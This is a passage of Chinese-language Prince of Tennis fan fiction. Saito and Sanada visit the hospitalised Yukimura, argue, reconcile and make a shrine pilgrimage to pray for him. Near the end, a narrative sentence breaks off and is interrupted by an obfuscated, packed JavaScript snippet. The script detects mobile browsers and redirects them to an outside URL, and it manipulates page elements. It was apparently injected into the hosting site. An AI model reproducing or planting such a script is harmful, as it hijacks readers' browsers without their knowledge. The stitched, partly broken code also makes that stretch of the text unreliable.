“这点小事就让你动摇了,看来还要加强精神训练。” 听到这话,斋藤咬着下嘴斜着眼,不满地看着真田。而真田只是垂眼看着比自己身形稍矮的斋藤,表情平静,看不出任何情绪。 ……看来是多心了,斋藤想。 她记得真田不是那种喜欢戏弄别人的人。 “真田君,当副部长平时要做些什么?”为了证明真田没有改变,斋藤问了一个正经的问题。 “你为什么问这个” “三年级的前辈打算让我当副部长,所以我就想问问。” “那就去亲自试试。既然前辈推选你,就说明你是有这个能力的。” 依旧是那种鼓励,但是又有种压迫感的回答,斋藤放心了,真田还是那个真田。 “以前的话,你总会第一时间和我说这些。” 真田追加了一句,像是暗指斋藤变了。 “又不是确定一定是我。假如我跟你说了但后来我没当上,你应该会失望的。” “不会,至少说明你现在有认真参与社团活动,你做得好啊。” “给我。”斋藤向真田伸出手。 “给你什么?”真田看着斋藤不够光滑的掌心。 “你都说我‘做得好啊’,当然是发我‘做得很好’。” 看到斋藤理直气壮地向自己索取,真田先是抬手,思考了一下,还是把手放下,转而抱胸,抬起头居高临下地说:“……等你当上副部长我就发给你。” 所以请再努力,成为副部长吧。斋藤读懂了真田的潜台词。 “这也太严格了吧。” “你当上副部长之后,遇到什么问题,你可以请教我。我会帮你的。”真田摆出前辈架势,自豪地翘起嘴角。 “副部长!” 听到有人这么叫着,斋藤快速地闪到了真田的身后,用高大的身体遮挡着自己的身影。 这里是立海大的附近,遇到认识真田的人也是正常的。而称呼为真田是副部长,那么这个人也是网球部的人,是那边的人。 来人是有着一头卷发的男生。 “副部长,那难道就是你的侄子吗?” 男生的语气自然熟络,显然和真田关系很好。 “左助他上幼稚园,怎么可能长这么高。” “还不是因为副部长你长得太成熟了……” “你在说什么?” “不,什么也没有!”男生慌张地否定。 斋藤为了礼貌轻声地和眼前的男生打招呼,而男生无视了她,开始向真田埋怨起来。 “副部长你也太偏心了。” “你为什么不要求这个人‘说话声音大一点’?要是我这样打招呼,绝对会被你念的。“ “而且这人一直你的躲在后面,按着副部长的个性绝对会说‘男子汉就要堂堂正正的站着,不要扭扭捏捏的躲在别人身后 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斋藤看出来真田眉间的沟壑积满他的怒气,虽然她也见过真田生气,可是这样处于爆发临界点的状态还是第一次见到。 “对不起!我错了,请原谅我!”切原也意识到状况不对,急忙道歉。 “道歉地太敷衍了!” “可不是马上要决赛了吗?就不要浪费时间指导了吧……” “那么全国大赛结束后来我家。” “那还是明天吧……” 名叫切原的男生刚以和开始完全相反的悻悻姿态道别离开,斋藤就迫不及待地将话题拉回到他们的身上。 “真田君,要不要看看袋子里面的东西?” “现在?” “我想知道幸村和柳对我送的东西的想法,所以就麻烦你了。” 这当然是借口。 真田拆开袋口,看了一眼,拿出了黑色的护腕,眯起眼睛。 “东西是一样的?” “那是当然……不对,只有你的这个是黑色的。”斋藤指着真田手里的护腕说。 以前斋藤不知道送真田什么礼物的时候,就会买黑色的护腕给真田。 直到现在斋藤才反应过来,把黑色护腕放进谢礼里这件事,看起来完全像是因为她不知道送什么,随手挑了个东西塞进去。斋藤想真田或许早就预料到这个情况,刚才才表现得没有那么开心。 真田愣了一下,然后若有所思地看着护腕。 “你既然这么在意他们的想法,不如自己去问。” “没有这个机会吧。”听到真田的提议,慌张的斋藤没有直接拒绝,而是否定了可能性。 “寒假他们到我家的话,你也来就可以了。” “不用了!我不懂你们聊的东西!” “我们又不会一直聊网球。” “你也看到了,柳和幸村他们是很好相处的人。” 为了让斋藤安心,真田说着两人的好话。 已经不想在这件事上过分纠缠的斋藤轻轻地说一句“我知道了”,暂时答应了真田。而真田满意地点着头说“那就这么定了”。 所以,只要找个理由寒假待在东京就可以了,斋藤想。 21. 未曾想过的冲突 “斋藤君,幸村住院了。” 11月中旬,斋藤从真田那边收到了幸村生病住院的消息。 真田的语气十分平静,听上去就像是单纯地告知斋藤。但斋藤知道真田没有任何预告就直接给她打电话,那么一定是很严重的事。 “住院了?是受伤还是生病了?”斋藤问。 真田说他只知道幸村突然在自己面前晕倒,至于是什么问题医院要做了全面的检查才能知道。 之后他就没再说什么了。 这个时候或许斋藤应该说,肯定没问题,幸村一定会很快康复的。但有没有问题,真田比她要更清楚。 “……之前幸村他有什么不对劲的地方吗?” 真田说,前几天就发现幸村有点不对劲,应该能够接到的球却没有接到。虽然他也有主动去关心幸村,幸村却用最近太累了作为借口敷衍了过去。 “——我应该更早点察觉让他去医院!”真田开始自责起来。 这不是你的错。 斋藤想,但她没有这么说。 “我想去医院探望幸村……毕竟之前算是被他关照过。” “可以吗,真田君?” 这是斋藤第一次一个人来到大型综合医院。 虽然练习剑道免不了跌打损伤。但是家附近有很多小诊所和整骨所,在那些地方就能处理。 探病之前,没有去医院探望同龄人经验的斋藤,询问了山田探病应该带什么。 在山田事无巨细地询问下,斋藤只能给出“对方喜欢网球”这个答案,山田无力地说“那带本网球杂志就是了”。 因为是月中旬,大部分杂志都不是最新上市的,斋藤索性拿了好几本不同的网球杂志。 店员将买的杂志分开放进两个袋子,斋藤就这么提起着来到医院,数本铜版纸印刷的厚重大开本带在身上不是一件轻松的事情。 进入医院大厅,斋藤四处张望着,发现真田在等候区的柱子前站着。 走到真田跟前时斋藤愣住了。 真田的脸和嘴唇都很苍白,像生病的是他。 “……斋藤君。” 真田的喉咙感觉像是是被黏住了,语气含糊不清。 斋藤的嘴唇与心脏颤动着。 “那个,我不太清楚幸村喜欢什么,就带了网球杂志……”斋藤笑着将袋子拿到身前。 真田看着斋藤手中的袋子,痛苦地闭起眼睛。 “最好不要带这个给他……他暂时没办法打网球。” “抱歉,是我没有认真考虑……”斋藤低下头,袋子里的重物将脱力的双手滑至身侧。 “算了……你也不知道幸村的病情。” 真田示意斋藤跟着自己,并且接过斋藤手中的袋子。来到病房前,他顺手将斋藤带的网球杂志放在了病房之前的窗台上。理解真田这么做的斋藤只是看着,没有说什么。 真田敲着病房的门,过了一会,病房里才传出“请进”的邀请。 “幸村,我和斋藤君来看你了。”真田打开病房的门,对着幸村努力地挤出微笑。 “这家伙两手空空地来看你,真是太失礼了。” 我明明有带网球杂志…… 但看着坐在病床上的幸村,斋藤还是把话委屈地咽了下去。 幸村若有所思地看了一眼双手交缠的斋藤,笑着说:“没关系,斋藤你能亲自来看我,我就感觉很开心了。” 这是客套话吧,斋藤想。 之后她只是坐在一旁,看着真田和幸村聊着。 她不知道怎么开口,不知道聊什么。 她那个时候为什么会主动提出想要来这里,来到这个不属于自己的地方? 那个时候,真田在自责。 不知道怎么安慰真田的斋藤毫无理由地说自己要探望。 至少在那瞬间,真田不再责怪自己,不再表现得那么痛苦。 “谢谢你来探望我,斋藤。”幸村突然对斋藤说。 “毕竟幸村你也曾经关照过我。” 一时没有反应过来的斋藤用之前的借口回复幸村。 “斋藤君,你也应该有想说的吧?” 斋藤错愕地看着真田,然后目光游移,显然不知所措。。 我想说什么? “你之前不是跟我说,幸村一定会很快康复的。” 在幸村看不到的角度,真田颇具压迫力的眼神紧盯着斋藤。 原来是这种话…… 但是这种话斋藤本人确确实实没有跟真田说过。 如果只是感冒之类的常见疾病,这话斋藤就可以轻松地说出口。 斋藤从真田的表现就可以知道,现在幸村所遭受到的痛苦,明显就不是这样的轻松带过的程度。 真田将手拍在斋藤的肩上,看上去只是轻轻的拍肩,但斋藤感觉真田的将内心的沉重压在了自己的肩头。 “嗯,幸村你一定会很快康复的。”斋藤毫无底气地说。 真田将放在斋藤肩上的手改成抓着斋藤的胳膊,将斋藤从凳子上提起来。 “时间不早了,你该回去了,斋藤君。” 斋藤跟着真田离开病房,斋藤看见自己带过来的杂志躺在窗台上,当走到与幸村的病房稍远的地方,真田的脸瞬间阴沉了下来。 “你刚才犹犹豫豫,闪烁其词的样子,真的能鼓励到别人吗!” “我觉得我说那种话……没有说服力……” “不需要那种东西,只要你将祝福传达给幸村就可以了!” “但,如果我有一天没有办法拿起竹剑……不熟悉的人还信誓旦旦地保证‘你很快会好的’……我大概不会觉得好受……” “你怎么说这种话!”真田严厉的苛责打断了斋藤的辩白,斋藤的身体猛地一抖。 “对不起!” 真田像是没有听见斋藤的道歉,继续说着说:“让你鼓励,不是让你做出承诺。这样能让幸村感觉到有人支持——” 真田试图解释,他皱起眉,用着平静的口吻说着,但是语气里的那份耐心更像是填充裂缝的填充物,只是为了推迟愤怒的决堤。 于是话还没说完,真田突然停住了。 “你就连这种简单的事情都做不到!” 真田的愤怒涌向斋藤,裹挟着的指责与失望无情地割伤斋藤的心。 “我觉得只是觉得……幸村他不能从我这里获得力量……” 斋藤的手掐着自己的手臂。 真田听到了斋藤努力撇清关系的话语,先是深吸了一口气。 “我希望你说!” 但斋藤已经在病房里说了真田想让自己说的,她不明白为什么真田还在生她的气。 心中的不满和逆反促使她的脑海里萌生出一句。 那只是你的一厢情愿。 不过斋藤没有说出口, 斋藤死死地咬住自己地下唇,似乎在努力寻找一个合适的句子。她终于抬起头,视线停留在真田握成拳的手上,看着真田手背爆起的青筋。 “……我要回去了。” 斋藤声音颤抖着,扔下这句话。 她还是选择了逃避。 “……你是该回去了。” 真田头也不回地离开。 斋藤转身疾走,几乎奔跑般地朝着相反方向离开 说起来可笑,她这样只是不想“再”被已经离开了的真田“推开”。 --------------------------------------------------------------------------------------- 脸色阴沉的真田在病房前深呼吸,调整情绪。 “幸村,我进来了。” 他进门就看见床头柜上放着斋藤带来的袋子。 “护士说门口放着几本网球杂志。” 幸村望着僵硬地站在门口的真田。 “这是怎么回事,真田?” -------------------------------------------------------------------------------------- ——都是真田的错。 电车车厢里,斋藤很想用脚用力地踏着地面,但是公共场合不能发出噪音,她就此作罢。 她明明就有带慰问品,虽然东西不适合但是也不至于被说是失礼吧。 她勉强自己说出不想说的话,还被嫌弃说话的态度不好。 斋藤一直深呼吸,手指不断抓挠膝盖。 讨厌!讨厌!明明她才是受害者,为什么他表现出一脸受伤的样子。 斋藤自认她从来都没有伤害过真田,只有真田伤害她的份。 就从那天开始—— 斋藤得知真田去学网球后,也跟家人说要学网球。 对网球毫无兴趣的斋藤只是缠着真田,甚至打扰到了真田训练。 忍无可忍的真田甩开斋藤,大声说着烦死了。 第一次被真田这么对待的斋藤,失落地走开了。 不知道是不是觉得斋藤离开的步伐太过缓慢,真田冲上来在斋藤的身后推了一把。 她抬起头,看着怒气冲冲的真田,地上有一个滚出网球场的网球,此刻感觉自己就像是这个球。 于是斋藤站起身,头也不回地跑出了网球场。 至今斋藤一直忍耐着这份痛苦。 现在她只想挥剑。只要挥剑,只要握住剑,她就能恢复正常。 她想立刻拿起竹剑,把这些无所谓的事情全部劈成碎片。 把自己对真田不满全部—— ——啊。 意识与感受将过去与现在连接在了一起。 她终于想起来了。 她想起来了自己为什么要去学剑道。 被真田赶出网球场的那 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斋藤感到一阵惆怅,一直绷着的身体也放松了下来背靠座椅。 可为什么直到现在她没有直接挑战真田?甚至连挑战他的想法也没有? 我已经完全没有挑战真田的想法了。斋藤自问。 既然如此,我…… 我还需要继续学习剑道吗? 答案浮现了。 因为她还保留着这份无稽可笑初心。 她只要挑战真田,都可能提醒自己,她学习剑道,只是为了教训真田。 但是她的的确确喜欢剑道。 纯粹地热爱显得这根源更加扭曲与可耻,让她一直怀疑自己或许根本不喜欢剑道,只是为了“复仇”。 那就忘记吧。 只要不去对战,就能忘记对真田的复仇,就会忘记最初的目的。 于是,从来不会主动挑战他人的斋藤志罗单纯地享受着剑道带来地愉悦与放松。 她是纯粹热爱着剑道的,没有别的理由。 如果是这样,那么现在的自己应该不仅仅是不喜欢真田,甚至是憎恨他? 不,绝对没有憎恨,没有人会和憎恨的主动谈话接触送礼物—— 但她讨厌网球。 此刻斋藤的心宛如各种强烈鲜明的颜料混合在一起,变成了泥泞粘稠的灰暗。 她扳着自己略微冒出指尖的指甲。 她不想讨厌真田,所以选择去讨厌“网球”,连同着和网球本身和有关的人一起排斥。 所以,今天在病房里,她找的那些借口,归根究底,她只是在闹别扭? 自己真的糟糕到,甚至连对方是病人都可以不管不顾了吗? 斋藤捂着嘴,她开始厌恶起自己所在的这具躯壳,厌恶起这般不讲理,不懂得体贴别人的自己。 斋藤到家后,立刻回到房间,拿起竹剑,一股力量从双手蔓延至全身,压制住了心中的躁动。她试着挥了两下,在此期间,杂念自动地从心头消失了,不安,愧疚,自我厌恶统统一扫而空。 再次确认了自己的感受,她彻底放下心来。 斋藤将竹剑收回袋子里,然后像是泄气般倒在床上。 她开始因为将自己擅自把幸村搅进与真田的恩怨中而羞愧。 无论她和真田之间有什么仇什么怨,幸村是无辜的,他生病了,就应该得到应有的关心。 所以她面对幸村的时候,就要真心实意地关心他,给他最大的善意。 没有其他的选项。 斋藤像是惩罚自己,用手猛拍着自己的脸颊,火辣辣的疼痛让她暂时脱离了内疚的泥潭。 她决定过两天和真田联系,再去探望幸村。 但,晚上真田却主动和斋藤联系。 斋藤接起电话,真田刚开口叫着“斋藤君”,她就抢先说:“真田君,今天的事情真是对不起。我太把自己当一回事了,完全没有在意别人的感受。所以我想纠正我的错误!请再给我一次机会!” “……不,我才应该道歉。”真田说。 “我没有任何权利决定你送给别人的东西。” “没关系!是我应该事先问你可以带什么过去!”斋藤压根就不在意网球杂志的事情。 “你……” 真田似乎想说什么,但是没有说下去,于是斋藤又主动出击。 “真田君,请你再去带我去看探望幸村!” “我不会带网球杂志!我也会好好地和他说话!” “……等我结束集训之后再说吧。” “集训?” “我忘记跟你说了,过几天我和莲二要去网球训练营……这是之前就定好的。”真田的语气中带有少许歉意。 “那等你们集训结束后,我们再约吧。” “……好。”真田说。 22. 能量景点巡回 当幸村看见斋藤手捧着花束时,笑容变得明媚了很多,斋藤也松了一口。 果然还是要听真田君的建议。 “斋藤,谢谢你上次送的杂志,正好有我想看报道。”幸村率先开口。 “——请不用客气!“ 虽然斋藤不知道幸村说的是不是实话,但他这么说是不想辜负斋藤的好意。 斋藤忽然觉得,真田能够认识善解人意的幸村实在是太好了。 同时也让她对自己那天过分的举动感到更加的羞愧。 她希望幸村能早点康复。 “幸村,这家医院的医生经验丰富,医疗水平在全国也是名列前茅……所以你就放心吧。” 两人走出医院后,真田忽然开口。 “斋藤君,你刚才跟幸村说的那句话……” 斋藤低头走了几步,轻声说: “很奇怪,对吧?” “我也是这么觉得,但是啊,这场比试的参与者只有幸村和医生吧……轻飘飘地说出‘你一定会好的’只会给他带来负担吧……” 斋藤语毕,两人之间就被沉默所笼罩。余晖中,他们并肩并肩走着,影子却向不同的方向延伸。 “真田君,我打算明天去镰仓进行能量景点巡回。”斋藤打破沉默。 “能量景点巡回?” 某天晚上,斋藤问着来自己家里度过一晚的山田。 “嗯,志罗你今年要是再抽到凶,试试用这个方法转运。”山田趴在铺在地板上床铺看着杂志,晃着双腿。 山田读着杂志上的内容,简而言之,能量景点巡回就是花一天的时间专门参拜神社或者寺庙。 真田自然也会问同样的问题,斋藤按着自己的理解和真田解释。 “这个时候去神社和寺庙参拜?”真田问。 “——要是抽到凶签之后再去就晚了。”斋藤握紧拳头,说话的语气也非常用力。 虽然嘴上这么说,斋藤其实是为了幸村才决定做这趟能量景点巡回的。 真田沉默了一下,轻声说了句‘也是’。他也很清楚斋藤抽到凶之后发生的那些事。 “你要一起来吗?嗯,帮幸村祈福?”斋藤邀请真田,随即又补充道。“如果你很忙的话就算了。” 斋藤本打算自己一个人去,然后以“顺便”买到的健康御守交给真田,由真田再交给幸村。但她忽然觉得,把真田叫着一起去比较好。 “你明天还要再回来?”真田惊讶地问。 “不,我今晚打算住在这边。” “你一个人吗?” 斋藤点头。 “晚饭怎么办?” “你放心,这种事很容易解决。” 与斋藤的毫不在意成为对比,真田担忧地看着斋藤 斋藤忽然想起真田还没有告诉自己要不要和她一起去镰仓。 “所以,你明天要一起来吗?” 真田给出肯定的答复后,两人约定好明天早上碰面的时间和地点。 到了斋藤家门前,真田反复叮嘱斋藤记得把门窗锁好。 “知道啦,我又不是小孩子了。” “国二生当然是小孩子。” “那你也是小孩子。” 真田先是说着“无聊”,但是立刻说“如果有什么事一定要联系我”。斋藤也应付着和真田说谢谢关心,和真田道晚安。 冬季清晨的天空有些发灰。在寒风主场的情况下,路上的行人裹紧了外套缩成一团。 斋藤来到和真田约好的地方,而真田已经在那里等待斋藤的到来。 简单地打了招呼后,两人向车站走去,路过便利店时,真田主动问斋藤有没有吃早饭。斋藤说没有,真田便让斋藤先吃点东西,神社寺庙里有要走很多阶梯,比一般的平地走路要花费更多的力气。 斋藤挑选完食物后,打算节约时间,一边走一边吃,但是真田坚持让斋藤在便利店里吃完。斋藤捧着饭团,举到嘴边,开始吃。她的嘴几乎没有张开,也没有咀嚼的动作。但神奇的是,饭团正在一点一点地、稳定地减少。 两人坐在便利店的座椅上,看着结着一层水雾的玻璃窗外的景色。而玻璃后面,便利店外站着一对情侣,两人的互动说明他们时在热恋中。 男生将大衣敞开,女生娇羞地钻进去,男生用脸蹭着女生的头发,两人依偎在一起。 对于这对在大庭广众之下秀恩爱的肉麻情侣,她不是很在意他们的亲密举动,她突然意识到,两人的体型差,竟和自己与真田相仿。 她记起暑假,他俩笑着比谁的手臂更结实。那时还当作玩笑,现在回头看,却不禁感到一丝沉重。 她和真田的体型和力量差距已经到了无法忽视的地步。 她要更加努力地与比自己高大的男生比试,学习更多的应对技巧—— “你在看什么呢?” 真田转过脸,皱起眉头对着斋藤,看样子是路人情侣之间甜蜜举动让他感觉十分尴尬。 待把饭团吃完擦嘴后,斋藤说: “没看什么。” 她喝了一口咖啡饮料,又道:“我只是想,要是真田君现在摔倒了,我大概是没有能力接住了。”斋藤双眼无神继续盯着窗外。 斋藤觉得这句话表达的意思和自己心里想还是很接近的。 沉默了一会后,真田忽然开口。 “要不要我帮你练得更强壮一点?” 他的语气听上去认真,但听着感觉有点像是调侃。 “练到那种程度应该很难吧。”斋藤遗憾地摇了摇头。 “我相信你能做得到!”真田充满气势地给斋藤打气。 “这可不是相信就可以做到的事。”斋藤叹气。 斋藤将早餐应付了之后,他们来到车站,进入车厢。斋藤握着扶手,想到今年的第一天,自己还能用身体稳住真田。 如果现在再遇到那种的状况,自己再像上次那么做,结果有可能是跟着真田一起摔倒。 对不起,真田君,你现在要是站不稳,我只能选择闪开了。 斋藤在心里默默地道歉。 到了第一个能量景点,参拜帮着幸村祈福之后就是买御守。在卖御守的摊位前,真田问斋藤要不要买御守时,斋藤说不需要。 真田从琳琅满目的御守里,拿起了健康的御守后,又拿起了一个开运的御守。 斋藤心怦怦地跳着。 这……不会是打算给我的吧? 不出意料,真田付完钱将好运的那个御守递给了斋藤。 “给,希望你今年不要再抽到‘凶’了。” 虽然有了一些心理准备,斋藤还是吓了一跳。 她怔怔地看着随意地将御守递给自己的真田,用两只手接过御守,然后紧紧地攥着。 连续去了三个景点之后,真田看着已经开始爬石梯时用膝盖撑着手臂的斋藤,主动提出在路边的长凳休息。 斋藤一坐在椅子上,顺着一声长叹,疲惫似乎全都被赶出了体外。真田放松地欣赏着周围的景色,看上去很是惬意享受。 “……和参加校外活动的小孩子一样。” 斋藤小声地说着。 “什么?” “我是说,这让我想起了小学时的校外活动。” 小学时期,真田就对校外活动充满热情,而斋藤不是很擅长这样舟车劳顿的集体活动,不过正好和真田是一组的话,真田会照应多她一点,这样她也能稍微体验到校外活动的乐趣。 “真田君是标准的室外派……可惜我是室内派,没办法理解真田君你。” “室内派……是怕虫子吗?”真田突然问。 斋藤身体抖了一下,她清楚这并不是因为天气的寒冷才做出的反应。 “……这跟虫子没关系。”斋藤脸色发青,语气也跟着身体抖了起来。 经过社团活动和住宿生活的历练,加上自己在社团中有点名望,早就学会了如何掩饰这种“不够冷静”的一面。斋藤已经能够克制一部分对虫子的恐惧的表现了—— “你的衣服上有虫子。”真田指着斋藤的肩膀突然说。 “不要!” 斋藤从长椅上跳起来,脱下外套,抓着大衣的内侧,手臂笔直地伸出去,用力甩来甩去。 看到这一幕的真田从嘴中发出一声嗤笑,但还是忍住了。 “你也太松懈了,现在哪有什么虫子。” “还不是你突然说什么虫子!” 斋藤穿上外套,瘫坐回椅子上,整个人都蔫了,头和肩膀一起垂着,再怎么努力放松,手还是有些颤抖。 “没想到真田君居然变得这么坏心眼……居然会开这种玩笑!” “如果你能够一直保持冷静,也不会有那么大的反应。” 他说得一本正经,但斋藤一听就知道,这话里满满的都是嘲讽。 “这不是保持冷静就能解决的问题!”斋藤抗议。 “真田君,千万不要让我抓着机会开你的玩笑!” “你没有这个机会的。”真田自信地回答。 是吗? 斋藤想到了真田在二月份收到大福时电话另一头那副慌乱的语气。 “那我明年继续送你巧克力大福——” “你是说那个奇怪的巧克力大福吗?”真田表情严肃,问得干脆利落。 “你确定要送我?” 斋藤失策了。 她本来还以为,真田会露出一副困扰的表情,大喊“我才不要”来应对。 她没有意识到,说主动真田送告白大福的自己才是被动的那一方。 明明只是为了反击,现在斋藤感觉自己更像是又一次被真田耍了。 “——我开玩笑的!我才不会主动送那种奇怪的东西给你!” “我们不要耽误时间了,赶快走吧!” 为了掩饰尴尬,斋藤催促着真田前往下一个景点。 傍晚,斋藤敞着外套,坐在车站的椅子上大口喘气。 即便从一开始两人是带着任务没有一刻放松,哪怕午餐还是在便利店简单果腹,到后面时间还是不是很够,于是两人全力冲刺,祈福,买御守,到最后斋藤甚至花钱打车。 当真田要求平摊车费,斋藤说,你就负责买御守。 虽然能量景点巡回不需要一天跑完,但是斋藤觉得他们俩是没有闲工夫分几天完成。 真田将水递给斋藤。 “你看来你的确有按着计划表好好锻炼。” 和斋藤相比,真田只是难以察觉地调整自己的呼吸。 “谢谢你,斋藤君。” 真田的话,让正在喝水的斋藤忘记了吞咽,水被呛了出来。真田闪到一边,担心地看着斋藤。 “都跟你说过喝东西慢点喝了,你怎么还记不住教训?” “因为真田君主动跟我道谢,我不知道怎么回应你。” “而且今天我也是为了我自己才来能量景点巡回的,也不是专门为了真田君你。” “你只要接受我的谢意就行了。” “所以说‘不客气’就可以了?” “你想说什么都可以。” 斋藤做出认真思考的表情。 “那,我希望真田君能一直这么坦率。” “我一直都很坦率。”真田皱着眉。“倒是你一点也不坦率。” 斋藤一时无语,将水猛灌进嘴里,她觉得真田完全没资格说这句话。 “圣诞节要到了,真不知道我男友会送我什么。” 站台上,结伴出游的女性们在闲聊着,离圣诞节还有一个月,但是他们对礼物期待溢于言表。 “谢谢你送的大福……还有义理巧克力。” 不知为什么,真田突然开口对着斋藤说,但是他完全没有看着斋藤,看上去并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487295|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没符合正确的道谢方式。 “不、不客气!” “斋藤,你为什么要送我那盒大福?” 被真田这么提醒,斋藤想起来还有事情没和真田说。 “大福是我在同学的和果子店帮忙获得的——” 真田不解地看着斋藤。 “所以我才不是‘什么都不会’呢。” 虽然帮忙的内容就是一直坐着贴贴纸。 斋藤自以为已经说得很明白了,但真田还是没有想起自己说过的话。 “你可是说过我‘什么也不会’的!”斋藤指着真田鼻尖,如果可以,她大概会用力地戳着真田的鼻子,让他快点想起曾经说的话。 真田低头用手托着下巴,然后叹气道,“没想到你还挺小心眼的。” 以前斋藤或许会反驳这话,但是一想到自己一直记恨真田推了自己甚至迁怒于网球,她觉得小心眼这个词非常适合自己。 “我就是这么小心眼,真是对不起了。” “就是因为这个理由,特意把大福送给我?” “也不是特意,山田给我两盒,一盒给了爸爸,另一盒给你。” “所以你家里人拿也到了那个大福?” “是啊,爸爸他收到的时候很开心。” “……跟你完全不一样。” 斋藤暗戳戳地指责真田在收到大福时对自己的态度。 “莫名其妙地收到那种东西谁会开心。” “呒——如果是你喜欢的人送那种大福,绝对会很开心。”斋藤撇了撇嘴。 “那不可能,我可没有喜欢的人。”真田斩钉截铁地说。 “真的?”斋藤立刻追问。 “斋藤君,你可不是会在意这种事的人。”真田扫了斋藤一眼,眼神中掠过一丝冷意,仿佛对方的问题不过是无聊至极的窥探。 “谁要你总是不坦率。” “怎么又怨我了?” 斋藤在内心反驳,她是一直都在“记恨”他。 回到东京,斋藤的父亲发消息说了,今天和母亲约会去了,晚上会带大餐回来,如果饿得不行冰箱里有东西可以吃。 斋藤打算打开冰箱,倒了一杯果汁,一边喝着一边走到客厅。 她倚在沙发上看着真田送给自己的好几个御守。 明明她和真田说了不要再买了,但是真田还是会买,并且强行将御守塞在她的手里。 她感觉身体十分疲惫,在沙发的支撑下,有种浮在空中的轻飘飘的感觉。 她开始回想这一天与自己一起度过的真田。 今天和自己在一起的真田看上去十分开心—— 跟在医院时看到的完全不一样。 想到第一次探病在医院见到的真田,斋藤感到一阵揪心。 她一直觉得真田是坚强的,不会被轻易打倒。 ……是这样吗? 幸村在住院,身为副部长的他不允许自己有一丝动摇和迷茫。 他现在一定很辛苦。 明明她没有遇到过同样的事情。她不知道为什么,却能够感受到真田的心情。 那种……无力感? 自己没办法做任何事,只能在一旁看着,看着对方努力。 真田他现在应该是这样的,这样看着被病痛折磨的幸村。 幸村,你一定要快点好起来。 即便今天她一天都在心里重复这句话,她现在还是由衷地为幸村祈祷。 “啪!” 斋藤从沙发上起身,她听见有东西掉在地上声音从她的房间里传出。 她贴着墙壁,小心地把门打开了一道细缝。她看见的是房间里的窗户大开,风卷起白色窗帘,窗帘鼓起将书桌上的物体搅得东倒西歪。 斋藤匆忙将窗户关上,蹲下捡起散落在地板上的东西,其中还有她做的剪报本 斋藤拿起剪报本,立刻确认剪报本的封面和内页有没有污损,她翻着翻着却被里面的内容吸引了。 三个人拿着代表荣誉与胜利的奖状、奖杯和旗帜。 斋藤曾经也想过把真田从合照里单独剪出来,但是觉得真田可能会为此生气就没有那么做。 ——这段时间,那三个人的名字暂时不会一起出现在报道上了。 仔细看完剪报本的内容,斋藤发现这根本就是立海大网球队的剪报本。 也许是想着这本终究会送给真田吧,为了显得更有纪念意义,斋藤挑了几张网球部的重大新闻贴上去……结果不知不觉,贴得似乎有些多了。 明明一开始只打算留下和真田相关的内容—— 因为这是她排解无力感的东西。 刚刚捡起的剪报本再次掉落在地板上。 她终于明白真田心中的无力感从何而来。 曾经那个讨厌网球的自己,从未真正地走进真田的世界,那个在自己所热爱、擅长的领域里耀眼的真田。 于是她才选择做剪报本,用这种毫无意义的方式安慰自己,假装自己参与了对方的成长,假装自己真正地了解过他。 嘴上说是为了真田,说到底不过是自我满足的借口。 可现在的真田,却连这样的方式都无从选择,只能任由那种无力感吞噬着自己。 而她呢?在医院里还要冷冰冰地告诉真田,他做的所有事情都是徒劳无功的。 强烈的恶心感涌上胸口,斋藤一只手撑住桌子,另一只手死死捂住嘴唇,几乎想要作呕。 “我真是太过分了……” 她想和真田道歉,于是拿起手机,看见手机上有一条未读信息。 是真田发过来了,只有简单的一句—— 【今天真是谢谢你了。】 斋藤不知不觉地流泪了,或许是她发现自己的手指一直在颤抖着,没办法像往常一样轻松地打出“不客气”。 “对不起,真田君,对不起……” 23. 礼物送什么 新年假期,斋藤家没有回到神奈川,而是被母亲拉着全家一起去了海外旅行。不过斋藤还是在开学前,抽空约了真田去探望幸村,说是带了海外伴手礼。 “柳也会我们一起去,你介意吗?”真田在电话那头问。 这话让斋藤一头雾水。 “他想去探望幸村,不需要征求我的同意吧?” 到了探病的那天,即使斋藤已经提前到了医院,但是两个男生还是比她更早到了约定的地方。 柳和真田并排站在一起,斋藤这才发现,柳似乎要比真田还要高一点。 到了病房,斋藤从包里拿出几个从海外带回来的伴手礼,分别递给其他三人——三只外形粗糙、颜色却异常鲜艳的手工人偶。 “这东西怪怪的。”真田用手指捻住人偶的吊绳,面露难色。 “别这么说,这是那边的幸运人偶,请尊重一下别人的习俗。” “这个倒更像是替身人偶,可以抵挡灾厄吧?”柳一边端详,一边若有所思地说。 斋藤心里顿时一咯噔,原本只是觉得有点奇怪的礼物,现在却莫名增添了一种不祥的意味。她开始暗自苦恼,自己到底挑了什么东西,这似乎并不适合现在送给幸村。 “斋藤君,你之前不是还想问问他们对谢礼的感想吗?”真田适时提醒。 “啊……对哦。” 斋藤完全忘了这回事,语气顿时有些支支吾吾起来。 幸村和柳都表示斋藤送的谢礼很实用,还夸她细心体贴。 斋藤清楚像他们这样谦逊有礼的人,就算有意见,也不会当面挑明。所以她才更想听真田的想法。虽然当时问出口只是为了打岔,但真田的直言不讳,比那些礼貌的夸奖更有参考价值。 “怎么了?难道是害羞了?”真田问正瞪着他的斋藤。 “我可没有害羞!”斋藤回得干脆。 “不愧是青梅竹马,感觉很像呢。”幸村坐在病床上笑着。 “一点也不像!”两人一起说。 斋藤确定自己很会反省,照护他人感受,这样的优点从真田的身上完全感受不到的。 斋藤坐正身体,又小声地补了一句:“——总之,就是不像。” 真田也不甘示弱,朝着斋藤大声说:“我可不会像你那样总是做莫名其妙的事情!” 柳对着真田比了一个噤声的手势,真田清了清嗓子,小声地说了一句“失礼了”。然后他问了幸村现在情况和之后的治疗方案,幸村说医生准备给他安排做手术的日期,但是手术的日期还没定下来,可能会错过比赛。 说完,幸村的脸上虽然挂着笑意,但眼睛垂了下来,眼神变得有些黯淡。 “你放心吧,我们会用胜利迎接你的归来。”真田拍着胸脯向幸村保证。 探视时间结束,三人一起离开了医院,柳说他还要去别的地方后就独自离开了。 两人并排走在大街上,真田突然说:“看来你能量景点巡回白做了。” 斋藤疑惑地抬起头看着真田的脸。 